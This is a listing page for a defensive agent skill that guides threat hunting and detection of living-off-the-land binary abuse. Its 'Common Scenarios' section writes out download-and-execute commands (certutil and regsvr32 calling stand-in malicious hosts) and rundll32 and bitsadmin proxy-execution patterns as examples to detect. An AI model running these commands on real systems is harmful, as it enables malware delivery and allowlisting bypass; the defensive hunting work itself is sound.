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Agent skill

Hunting For Living Off The Land Binaries

by mukul975 in mukul975/Anthropic-Cybersecurity-Skills

Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting…

Apache-2.0Auto-check passedSecurity

Install Hunting For Living Off The Land Binaries

skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill hunting-for-living-off-the-land-binaries -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills hunting-for-living-off-the-land-binaries --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunting-for-living-off-the-land-binaries .claude/skills/hunting-for-living-off-the-land-binaries && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
hunting-for-living-off-the-land-binaries
GitHub stars
34k
Token cost
~1.4k tokens
SKILL.md length
506 words
Files
8 (incl. scripts, references, assets)
Skills in repo
644
Repo updated
First seen
Licence
Apache-2.0

At a glance

Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting…

  • Works in 7 steps: Define Hunt Hypothesis: Formulate a… → Identify Target LOLBins: Select specific… → Collect Process Telemetry: Query EDR or… → …
  • Building LOLBins detection rules for EDR/SIEM
  • SKILL.md covers When to Use, Prerequisites, Workflow and Key Concepts, plus 3 more sections
  • Runs Python scripts from its folder

What it does

Hunting For Living Off The Land Binaries is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries.

Its SKILL.md is about 1.4k tokens, which your agent loads only when the skill is triggered. The skill folder holds 10 other files, including scripts, reference files and assets (for example `assets/template.md`, `references/api-reference.md` and `references/standards.md`).

It sits in Security, covering Security operations. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.

When your agent uses it

  • Building LOLBins detection rules for EDR/SIEM
  • Threat hunting for defense-evasion activity involving trusted system binaries

Example prompts

  • “/hunting-for-living-off-the-land-binaries”

Requirements

  • Python 3

Workflow steps

7 steps, taken from the first numbered list in SKILL.md.

  1. Define Hunt Hypothesis: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage…
  2. Identify Target LOLBins: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat…
  3. Collect Process Telemetry: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments…
  4. Baseline Normal Behavior: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical…
  5. Identify Anomalies: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual…
  6. Correlate and Enrich: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat…
  7. Document and Report: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.

What it can do on your machine

Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Ships 2 files in scripts/ (Python), which the agent can run.

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Hunting For Living Off The Land Binaries loads about 1.4k tokens when it runs, and up to ~3.8k if it reads all its reference files. Until then it costs about 102 tokens; SKILL.md has 506 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~102
When it runs · the whole SKILL.md, loaded when a task matches
~1.4k
With references · SKILL.md plus every file in references/, read only if the agent opens them
~3.8k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.

SKILL.md

The full file from mukul975/Anthropic-Cybersecurity-Skills at commit 54a7988, republished under its Apache-2.0 licence (© mukul975). 506 words, ~1,396 tokens.

Download SKILL.mdSave it as .claude/skills/hunting-for-living-off-the-land-binaries/SKILL.md (or your agent's skills folder). This skill also uses 7 other files; get the full folder from GitHub.
name
hunting-for-living-off-the-land-binaries
description
Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries.
domain
cybersecurity
subdomain
threat-hunting
tags
threat-hunting, mitre-attack, lolbins, edr, siem, proactive-detection, defense-evasion
version
1.0
author
mahipal
license
Apache-2.0
d3fend_techniques
Executable Denylisting, Execution Isolation, File Metadata Consistency Validation, Application Protocol Command Analysis, Content Format Conversion
nist_csf
DE.CM-01, DE.AE-02, DE.AE-07, ID.RA-05
mitre_attack
T1046, T1057, T1082, T1083, T1027

Hunting for Living-off-the-Land Binaries (LOLBins)

When to Use

  • When investigating fileless malware campaigns that bypass traditional AV
  • During proactive threat hunts targeting defense evasion techniques
  • When EDR alerts fire on legitimate binaries executing unusual child processes
  • After threat intelligence reports indicate LOLBin abuse in active campaigns
  • During red team/purple team exercises validating detection coverage for T1218

Prerequisites

  • Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
  • SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)
  • Familiarity with LOLBAS Project (lolbas-project.github.io) reference list
  • PowerShell command-line logging enabled (Module Logging, Script Block Logging)
  • Network proxy or firewall logs for correlating outbound connections

Workflow

  1. Define Hunt Hypothesis: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").
  2. Identify Target LOLBins: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
  3. Collect Process Telemetry: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.
  4. Baseline Normal Behavior: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.
  5. Identify Anomalies: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.
  6. Correlate and Enrich: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.
  7. Document and Report: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.
Show full SKILL.md (238 more words)Show less

Key Concepts

ConceptDescription
LOLBinLegitimate OS binary abused by attackers for malicious purposes
LOLBAS ProjectCommunity-curated list of Windows LOLBins, LOLLibs, and LOLScripts
T1218MITRE ATT&CK - Signed Binary Proxy Execution
T1218.001Compiled HTML File (mshta.exe)
T1218.002Control Panel (control.exe)
T1218.003CMSTP
T1218.005Mshta
T1218.010Regsvr32
T1218.011Rundll32
T1197BITS Jobs (bitsadmin.exe)
T1140Deobfuscate/Decode Files (certutil.exe)
Proxy ExecutionUsing trusted binaries to execute untrusted code
Fileless AttackAttack that operates primarily in memory without dropping files

Tools & Systems

ToolPurpose
CrowdStrike FalconEDR telemetry and process tree analysis
Microsoft Defender for EndpointAdvanced hunting with KQL queries
SplunkSIEM log aggregation and SPL queries
Elastic SecurityDetection rules and timeline investigation
SysmonDetailed process creation and network logging
LOLBAS ProjectReference database of LOLBin capabilities
Sigma RulesGeneric detection rule format for LOLBins
VelociraptorEndpoint forensic collection and hunting

Common Scenarios

  1. Certutil Download Cradle: Adversary uses certutil.exe -urlcache -split -f http://malicious.com/payload.exe to download malware, bypassing web proxies that allow certutil traffic.
  2. Mshta HTA Execution: Attacker delivers HTA file via email that executes VBScript payload through mshta.exe, which is a signed Microsoft binary.
  3. Rundll32 DLL Proxy Load: Malicious DLL loaded via rundll32.exe shell32.dll,ShellExec_RunDLL to proxy execution through a trusted binary.
  4. Regsvr32 Squiblydoo: Remote SCT file executed via regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll bypassing application whitelisting.
  5. BITSAdmin Persistence: Adversary creates BITS transfer job to repeatedly download and execute payloads using bitsadmin /transfer.

Output Format

Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
  - [Finding 1 with evidence]
  - [Finding 2 with evidence]
Anomalies Detected: [Count]
True Positives: [Count]
False Positives: [Count]
IOCs Identified: [List]
Detection Rules Created/Updated: [List]
Recommendations: [Next steps]

© mukul975, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 7 other files (scripts, references, assets) in skills/hunting-for-living-off-the-land-binaries of mukul975/Anthropic-Cybersecurity-Skills.

  • SKILL.md
  • LICENSE
  • assets/template.md
  • references/api-reference.md
  • references/standards.md
  • references/workflows.md
  • scripts/agent.py
  • scripts/process.py

Open the folder on GitHubat commit 54a7988

Compare with similar skills

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Security Detection Rule Managementelastic/agent-skills5921 repos~3.9kAutomated safety check: NotesApache-2.0
Chaitin CLIchaitin/chaitin-cli115—~15kAutomated safety check: NotesGPL-3.0
GatesNebulock-Inc/agentic-threat-hunting-framework388—~12kAutomated safety check: PassMIT

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Categories

Questions about Hunting For Living Off The Land Binaries

What does Hunting For Living Off The Land Binaries do?

Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting…. Hunting For Living Off The Land Binaries is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls.

When should I use Hunting For Living Off The Land Binaries?

Hunting For Living Off The Land Binaries fits situations like: building LOLBins detection rules for EDR/SIEM; threat hunting for defense-evasion activity involving trusted system binaries.

How do I install Hunting For Living Off The Land Binaries in Claude Code?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill hunting-for-living-off-the-land-binaries -a claude-code`. Or copy the skill folder (skills/hunting-for-living-off-the-land-binaries in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/hunting-for-living-off-the-land-binaries in your project. Claude Code loads it when a task matches its description.

How do I install Hunting For Living Off The Land Binaries in Codex?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill hunting-for-living-off-the-land-binaries -a codex`. Or copy the skill folder (skills/hunting-for-living-off-the-land-binaries in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/hunting-for-living-off-the-land-binaries in your project. Codex loads it when a task matches its description.

Can I use Hunting For Living Off The Land Binaries in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill hunting-for-living-off-the-land-binaries -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunting-for-living-off-the-land-binaries, .gemini/skills/hunting-for-living-off-the-land-binaries, .github/skills/hunting-for-living-off-the-land-binaries and .opencode/skills/hunting-for-living-off-the-land-binaries in your project.

What does Hunting For Living Off The Land Binaries need to run?

Going by SKILL.md and its folder, Hunting For Living Off The Land Binaries needs Python for the scripts in its folder. Our summary lists: Python 3.

Does Hunting For Living Off The Land Binaries access the network?

SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.

Is Hunting For Living Off The Land Binaries safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.

What licence does Hunting For Living Off The Land Binaries use?

Hunting For Living Off The Land Binaries is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Hunting For Living Off The Land Binaries use?

About 1.4k tokens (SKILL.md is roughly 5.6k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 2.4k tokens, read only when the agent opens those files.

What are the alternatives to Hunting For Living Off The Land Binaries?

Skills that share tags, products or a category with Hunting For Living Off The Land Binaries: Security Alert Triage (elastic/agent-skills, 592 stars), Kubernetes Network Security Audit (kubeshark/kubeshark, 12k stars), Security Detection Rule Management (elastic/agent-skills, 592 stars) and Chaitin CLI (chaitin/chaitin-cli, 115 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Hunting For Living Off The Land Binaries?

mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 34,116 GitHub stars. The repository holds 644 skills in this directory. The repository was last updated on August 31, 2026.

Source: mukul975/Anthropic-Cybersecurity-Skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.